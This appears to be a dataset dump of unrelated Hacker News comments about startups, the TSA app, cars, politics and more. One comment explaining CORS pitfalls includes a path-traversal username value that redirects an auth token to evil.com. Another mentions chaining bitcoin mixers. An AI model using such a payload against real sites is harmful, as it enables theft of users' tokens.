skysight-inc/HackerNews huggingface dataset:
This is why I found it peculiar they chose to describe most F2 cos that way:

> Awesound - AdWords for podcasts

> Bulletin - Airbnb for Retail

> Müvr Labs - Fitbit for your knees

> Palaround - Tinder for private networks

> Sage - Uber for eldercare workers

> ...

https://blog.ycombinator.com/first-fellowship-virtual-demo-d...
Ah, but you see, parts aren't still available. Our dealers have some, but those are actually independent businesses from us...
26-year-old hacker (Geohot) gets $3mm for self driving car startup
Gotta be #responsive
If the people themselves do not want democracy, we should not force it upon them. We should just open our doors to those that do, so they do not suffer under tyranny as a minority. But it is not our jobs to change the will of the majority.
If all you have is a hammer everything looks like a nail. If the only thing you can imagine is taxation then you try to solve every problem with taxation.
http://arstechnica.com/tech-policy/2016/04/tsa-spent-47000-o...

"According to Mashable, the Transportation Security Administration apparently spent $47,000 on an app that is essentially a random number generator—it was briefly used to assign travelers to left or right lanes at airports.

As the website reported: “The app was used by TSA agents to randomly assign passengers to different pre-check lines as part of a now-discontinued program called ‘managed inclusion.’”

Such an app is widely viewed to be an extremely simple program to write. Many are questioning why a government agency overpaid for the app.

The revelation was published Sunday evening by Kevin Burke, a San Francisco-based developer, who received TSA documents in response to a Freedom of Information Act Request. The documents showed a $1.4 million price tag. However, the TSA has clarified that figure, stating that the app actually cost $47,000."
A sure bet for what? Metamind as a company failed.
The biggest I've heard consistently from founders is 10% weekly growth (in whatever metric is important to you, like MAU, etc.) to be considered "the golden standard".
Which social networks are you using the most and why?
Thanks to math, we can calculate the benefits of human sacrifice
It does work both ways to some extent, do you think Ari only started throwing tantrums once he reached the top?
Can this be used to build a commercial project or does the CC-BY-SA 4.0 license require it to be free and open source?
This is why you never buy on day one. You wait to buy on day seven after the reviews come out.
Siri security flaw on iPhone 6s and 6s Plus grants access to Contacts and Photos
Meh, it's probably still less overengineered than the actual TSA app.
A little measurement goes a long way. It's remarkable, but there's a lot of inertia even in otherwise successful organizations.

And keep in mind salaries are just a fraction of the costs of staff time. Payroll taxes plus benefits can add up to almost 20% of base salary and that's not counting occupancy and equipment costs.

Bottom line: people cost a lot. It's smart to think carefully through the ramifications of planning decisions.
Assuming you are careless enough to use only one mixer for a transaction, they form points of centralization.

Assuming no mixer reputation, they allow a party to steal your coins. Note that breaking a large transaction into small pieces allows you to determine a sort of short-term reputation while only risking one piece at a time.

My standard first two steps used to be SharedCoin->BitcoinFog, for example.
It's not supported but is possible. Someone on here replaced a single damaged cell on a Prius, whereas the dealer would only offer to replace the whole bank (which costs $5000).
Object Layer for Amazon S3 SDK, 0.11.5 Released
Flagged of the first page already. No wonder people think HN is a bastion of misogyny.
That only keeps the amount transferred private, not the addresses. Also, it has nothing to do with segwit, it was proposed well before segwit was a thing.
The argument that will be made against something like this is "We can't use a product that would let the bad guys see how it works!" I know it sounds ridiculous, but in my limited experience, "Security through Obscurity" is a key feature required by everything related to the (ineffective) methods used to secure the airports in the US. I believe this fact was even alluded to in the original article related to the justification for why a PRNG hooked up to a boolean cost USD$1.4M or USD$47,000 or whatever price over an hour's wage of a government intern it actually cost.
Or, possibly, terrorism means the use of violence or intimidation to achieve an ideological goal, which just so happens to sound exactly like several incidents detailed in the article.
Brooklyn here. I may show up at the Boston Rust meetup over the next few months!
Odoo also has an open source mailchimp clone: https://www.odoo.com/page/email-marketing

From the Call-to-actions on the website, to the mass mailing and statistics on emails. (with a good email template composer)
how does openbazaar make money? How will the investors recover money and make profit?
First fully autonomous taxi to be tested in Singapore this year
But you can pull the SIM card from OnStar and the car will still work.
Tell HN: The truth about how startups are valued
Startups are valued in ever increasing numbers because people say so then make it real by giving each other money to prove its real.

Here's how they are actually valued:

Seed stage: Startup company to Angel "we are worth $1m"
Angel: You ARE worth $1m. If I give you some money it will anchor the value and prove it true because I agreed.

Series A: Startup company to VC "we are worth $10m"
VC: You ARE worth $10m. If I give you some money it will anchor the value and prove it true because I agreed.

Series B: Startup company to VC "we are worth $100m"
VC: You ARE worth $100m. If I give you some money it will anchor the value and prove it true because I agreed.

Series C: Startup company to VC "we are worth $1b"
VC: You ARE worth $1b. If I give you some money it will anchor the value and prove it true because I agreed.

IPO in a bubble Startup company to public markets "we are worth $10b"
Public markets (when it's not a downturn): You ARE worth $10b. Take our money.

IPO in a correction Startup company to public markets "we are worth $10b"
Public markets (when it's not a downturn): No you aren't. Here, take somewhat less of our money.

That's how money is conjured out of thin air. I say I have some thin air worth $100. You agree with the value and give me $10 for 10% of it. The next guy both agrees and can see the increasing value of thin air, and can see there's another stage of people coming who will buy in at a higher valuation. So he buys 10% of the thin air at 10 times the value. Next folks come along and want in on the opportunity of thin air. etc etc
Ask HN: Looking for legal advice – breach of contract
I'm looking for information and legal advice on what I could do in this situation.

I worked as an offshore contractor for a company in SF for over a year. At some point I (and a few other devs) was let go and my agreed fee was reduced retroactively for the last 2 months without any written notice nor my acceptance, this entire "change" was communicated in a phone call.

My contract also had a 30 day prior notice which I didn't receive and I was told I will not get payed for it.

In total the dispute is for about US$ 15K, so my question is if its even worth pursuing given the fact I'm not in the USA (I'm not an American citizen) and I need to find a California based lawyer since the contract has a Dispute Resolution, Including Mediation and Arbitration clause in California.

I appreciate any word of advice and any recommended local lawyer contact details.
“Find another hobby or you’re going to die.”

In my attempt to get her into gaming, I once brought my girlfriend to an indie game store to grab a controller. The kids there were in the middle of some card tournament. There was an audible COD Twitch stream on the TVs. As we're paying for the controller, a player on the screen yells "Damn dude! He got fuckin' raped!" No one in the store batted an eyelash. The only female in the store, my girlfriend, suddenly felt very uncomfortable. In the parking lot she told me she doesn't want to go into a video game store ever again.
xkcd: Garden
Needs a (2006), but this is super cool.
Google Spring Cleaning 2033
Show HN: Npm mongo client with awesome interface
Can this (or any) Rust IDE jump to definitions, do project-wide code refactoring, or highlight incorrect parameter types? These are the three big things I really want in an IDE, and without them I'll probably stick to Vim (as I'm more productive there); the features I mentioned are kind of a tipping point between editor/IDE use for me.

(It doesn't look like any of these are supported based on the advertised features, but maybe I didn't read closely enough.)
Exactly! My first attempt was just 10 lines of HTML code, but it was a real pain to do the vertical centering on iOS. So I tried a Bootstrap template, saw that even they didn't do the centering on iOS, but was too lazy to change it back.
Which is why people like myself who are honest and oblivious to social signals upset so many managers/etc. We'll honestly and fervently correct your misconceptions without so much as an eye blink. This confers its own sort of status with the rest of the rank-and-file, but doesn't win you any favors come review time. It does make the manager look like an idiot for trying to force you to do something obviously stupid though, which is its own sort of bonus.
He said supercharging was included in the talk. And everywhere is reporting it as included on all models. "and supercharging, even for the basic version of the car." http://arstechnica.com/cars/2016/04/the-post-model-3-reveal-...
I have also been frustrated and surprised by the technical interview process. For a Google interview, they had me cmd+tab-ing between a google hangout and a google doc (for the code). Why isn't there something simple and free that puts these two things together?

So I took the approach of trying to improve it by creating a small side-project that is just a simple collaborative code editor and WebRTC video/audio connection.

One-click deploy to Heroku, open-source, MIT licensed.

https://github.com/crcastle/collaborative-code-conference#re...

Feedback welcome!
Interesting, the Chippewa go with the 1/4 rule, and I'm 1/8 so I got all the "fun" of the Rez and not much of the upside. Plus, it was a Dakota rez instead of home country. Sorry it didn't work out.
Cooking dinner, brewing morning coffee.
This is interesting and I might have to give it a try.

I am at a point now with Ghostnote alone that my mailing list on mailchimp is costing me $150 a month.

The project is healthy profitable but its still maybe a $1K a year when all comes to all. Money I would rather spend on other things.
I Launched a Company on My 15th Birthday
My name is Alex Tuazon, I’m a 9th grade student at Davis School for Independent Studies (DSIS) and founder of Kids Teach Kids To Code (KTKTC) youtube.com/ktktccoding. I am excited to tell you about the startup I’ve been working on when I am not in school.

In the past two years, we have lost family members and friends to cancer, accidents, suicide, and heart attack.

Me, my Mom, Dad and brother Jacob created a website where we can laugh, cry, express our thoughts and feelings and catch up with family members, close friends, extended families, and special friends like co-workers, childhood friends, old classmates, from all over the place in honor and memory of our departed loved ones.

A special place to share and relive stories reflective of the kind of life they lived. The summation of the life the person lived as told by you and everyone whose lives the person had visibly or invisibly touched and inspired. This helps the memories shared live on and their legacy continue.

Everyone has a story, you have a story, I have a story and our departed loved ones have a story.
Stories that are just waiting to be told. We only know our departed loved ones story based on our brief interactions we have with them.

Now we can see a much broader perspective of their legacy based from the collections of memories from people they interacted with, be it from snapshots, videos, and precious moments that are endearing to us.

A near complete story of the life they lived. This helps their memories shared live on and continue.

Different Stories from Different People that make One Legacy.

Please join me at relyphe.com to see how this small project of ours will impact your lives based on your loved ones legacy.

Get inspired. Join Relyphe. Be a torchbearer for your departed loved ones.

We are going to launch this as an app in both iOS and Android soon. Thank you for your support.
Thanks for the info! Have you found many devices that meet this criteria? I can't think of any smart locks that run locally.
"These people are noobs" he said
To put it bluntly, this is what you get for buying a device that relies on a remote service. You have to expect it won't work forever.

Once you give up control to someone else you have no say.
And/or get rid of the insanely narrow fixed-width centered column and let the user resize it along with the window. So many programming blogs put code samples in a fixed-width unresizable column.
Oh, so any sun sparc workstation of that era would work.

Understood - thank you.
In a non-agricultural society, either it comes from private employment or it comes from government redistribution. We're past the days when people could be expected to strike out on their own for their sustenance or mooch off of extended families.

Therefore, either we raise wages for our low skills workers, or we provide a sliding scale of basic income dependent on work history, self-improvement aptitude, volunteering, etc.
Beautiful Visualization Charts History’s Best Chess Players
Because you don't want a MikeeUSA dragging your project's name through the muck and mire.
It says 'meter scale'. I would think accounting for tidal heights with gps and other sensors, silt drift while scanning, they would be getting 'half-meter' minimum. I am not a geophysical studen...just thought they would get better resolution.
Well they are called trash pandas for a reason. I had a family of those -- a mother with a few young live across the street. But only figured out what it was after my tall trashcans with heavy lids somehow ended up with torn trash bags in them. I had no idea racoons can be that smart & determined.

I was warned not to get close or corner them they can be vicious. What eventually stopped them was putting a heavy rock on the trashcan lid. It seemed to have worked so far.
Very frustrating video, would it be too much to ask for just a still photo!
well, for anyone who read le carré philby here confirms one of the key failings of british intelligence services - the utter disbelief that anyone from their top-universities/upper echelons could ever be a communist.

tinker tailor soldier spy is basically all about that. they hired students who had openly joined leftist groups and never really followed up on that.
How the percentage of startups that you accept varies by industry.

For example, there was a sneaker startup in the most recent batch, which was the first one admitted to YC (AFAIK), but probably not the first to apply.

I'd be curious to see if you had data over the past few batches to demonstrate trends like this space growing.
I actually have a solution that costs exactly $0.01, per employee. It also works on any platform.
Steven Pinker agrees with you:

http://isteve.blogspot.com/2012/10/pinker-takes-crack-at-exp...

But while these theories help explain why the seemingly diverse convictions within the right-wing and left-wing mind-sets hang together, they don’t explain why they are tied to geography. The historian David Hackett Fischer traces the divide back to the British settlers of colonial America. The North was largely settled by English farmers, the inland South by Scots-Irish herders. Anthropologists have long noted that societies that herd livestock in rugged terrain tend to develop a “culture of honor.” Since their wealth has feet and can be stolen in an eye blink, they are forced to deter rustlers by cultivating a hair-trigger for violent retaliation against any trespass or insult that probes their resolve. Farmers can afford to be less belligerent because it is harder to steal their land out from under them, particularly in territories within the reach of law enforcement. As the settlers moved westward, they took their respective cultures with them. The psychologist Richard Nisbett has shown that Southerners today continue to manifest a culture of honor which legitimizes violent retaliation. ... Admittedly, it’s hard to believe that today’s Southerners and Westerners carry a cultural memory of sheepherding ancestors. But it may not be the herding profession itself that nurtures a culture of honor so much as living in anarchy.
I agree it sounds similar, I was just pointing out that it's likely a reference to the plasma device and not a comment on Mac computers.
When is the ideal time to have a full time data scientist on a startup team?

A consultant or a developer acting as a part-time data scientist works?
Yeah, it's easy, just be a wellborn member of British aristocracy.
I have an asynchronous CPU cluster on my desk right now (a pair of GA144s). The performance spread isn't actually very dramatic; just a few percent. After all, the foundries aim for consistency so that synchronous devices get good yields.
I think it's super important to understand that removing the preflight request practically kills the security measures of CORS. With no preflight request, the browser has no idea whether it can make a request until it already has, at which point it can only restrict access to the contents of the response.

The reason 'simple' and 'unsimple' exists is that simple requests are just normal XHR requests, and it would be infeasible to change all the web standards to prevent something that has been used for years.

Tokens in URLs is a very different, and perhaps drastically more insecure pattern than in headers. The primary issue is that it is extremely common to do:

"/api/v1/user/" + username + ".json?token=" + token

That might seem fine and dandy, but what if I tell you "username" is now "../../../login?after=//evil.com?x="

Now the url is:

/api/v1/user/../../../login?after=//evil.com?x=.json?token=TOKEN

->

/login?after=//evil.com?x=.json?token=TOKEN

->

http://evil.com?x=json?token=TOKEN

Assuming you have an open redirect flaw in your login system (extremely common), I can now exfiltrate user authorization tokens to my own server.

Setting Content-Type to text/plain works, but doing this kind of fiddling is pretty scary. If your Content-Type ends up as XML or HTML, you've just opened up your site for global XSS.

> The browser does not make an OPTIONS request, the server with awareness can potentially not allow the request. Web frameworks don’t do this because in lieu of better security measures, such as CSRF or using sessionless authentication.

If I'm understanding it right, you're saying that if configured correctly, the server can decide to not display information if the CORS rules are not met. This is to my knowledge a misunderstanding of how CORS works. Once you realise that CORS is meant to be a static set of headers cache-able and dedicated to a specific endpoint it makes a lot more sense.

With CORS, it is the browser, having been informed by the CORS headers what restrictions are placed on making requests to that endpoint which decides whether a request can go through.

This misunderstanding can become ugly when, as I've seen in several popular libraries from my research -- when combined with the 'fail early' pattern. The CORS-aware middleware sends rules to the browser as it validates them, and if one fails exits prematurely. If an earlier CORS rule is purposely failed by an attacker during a preflight request, the middleware will not send all the CORS headers, allowing subsequent requests with less / zero restrictions.
> Is "reading an email" one thing?

In fact, sometimes it can be the "only" thing you want. Most often it is the case with open source developers when they want to catch up a huge discussion thread. (Like bugs to email interface). Mutt is excellent here.

If I have something to add to the discussion, I have the option to use the command line or log in to web interface and post my response.
They're not blocked from logging out and cloning the project, just from hosting it on GitHub as a "fork" linked back to the original project.
Semantic word embedding:

https://code.google.com/archive/p/word2vec/

Recurrent neural networks:

http://karpathy.github.io/2015/05/21/rnn-effectiveness/
Starting a new job – What can I do to avoid getting fired?
Hi folks,

I just accepted an offer at a company I'm super excited about. The interview process was a mix of the traditional whiteboard interviews and watching me write code, so I suspect they got a good impression of my skill. The company seems like they know what they are doing in terms of mentorship and development processes. However, I am still worried that in a few months they will realize that I am incompetent or unproductive and I will be fired. What are the most time-effective things I can do to rapidly become competent and productive and thereby avoid this? I have a few weeks before I start that I can use to prepare.

My current ideas are:

1) Enforce a rigorous sleep schedule on myself, getting the same 8.5hrs every night.

2) Make a list of the technologies they are currently using (RoR and react.js), then pay for the best tutorials I can find and run through them repeatedly to drill myself to work fluently in them. In particular, look for tutorials that also involve testing and debugging.

3) Build app using the above technologies as an open source project and find someone I can pay to do code reviews of it.

4) Make flashcards and rote-memorize things that will help me look things up and navigate the codebase more quickly.

5) Aggregate a list of 100 webpages and build imitations of them in html and css and thereby finally teach myself by rote how CSS layout works.

6) Find someone outside the company (so they don't have any input on performance reviews) I can trust to talk to about things like project management or recognizing when I'm miscommunicating or taking the wrong approach.

7) Find someone inside the company that I exchange help on their tickets with in exchange for letting me watch how they work to see if I can borrow habits to become more efficient.

Does this seem like a good list? Do you have any things you might add? Any tips for any of these?
They're referring to spatial resolution, not vertical resolution.

In other words, they're taking about the size of the pixels.
How economists rode maths to become our era’s astrologers
Hip tech startup Uber ditches hip tech startup Slack
You and the rest of HN, apparently. First it was 400k then some millions then this. I mean, honestly.
Great female founder story
I can imagine many things, I just think taxation is the most obvious solution to the inevitable inequality that results from allowing people to accumulate capital.

And I tend to find that libertarians cling just as hard to the hammer they call "property rights".
If you're alluding to a penny, I think you'll find that they cost more that $0.01. Probably a far better example wasteful government procurement than this app.
If this is interesting to you, you should definitely check out the Bay Model (https://en.wikipedia.org/wiki/U.S._Army_Corps_of_Engineers_B...). Its a scale model of the SF Bay and the Delta in Sausalito that was built by the Army Corps of Engineers. Its admission free!
What We Can’t Learn from Finland’s Schools: Apples, Oranges, and Denial
This whole debate about car repairability makes me want to buy my long term dream vehicle now and not later. I currently have a hyundai with a GSM chip somewhere inside, doing heaven knows what. I don't want my car talking to a cell phone tower!
What do you mean about his personality type?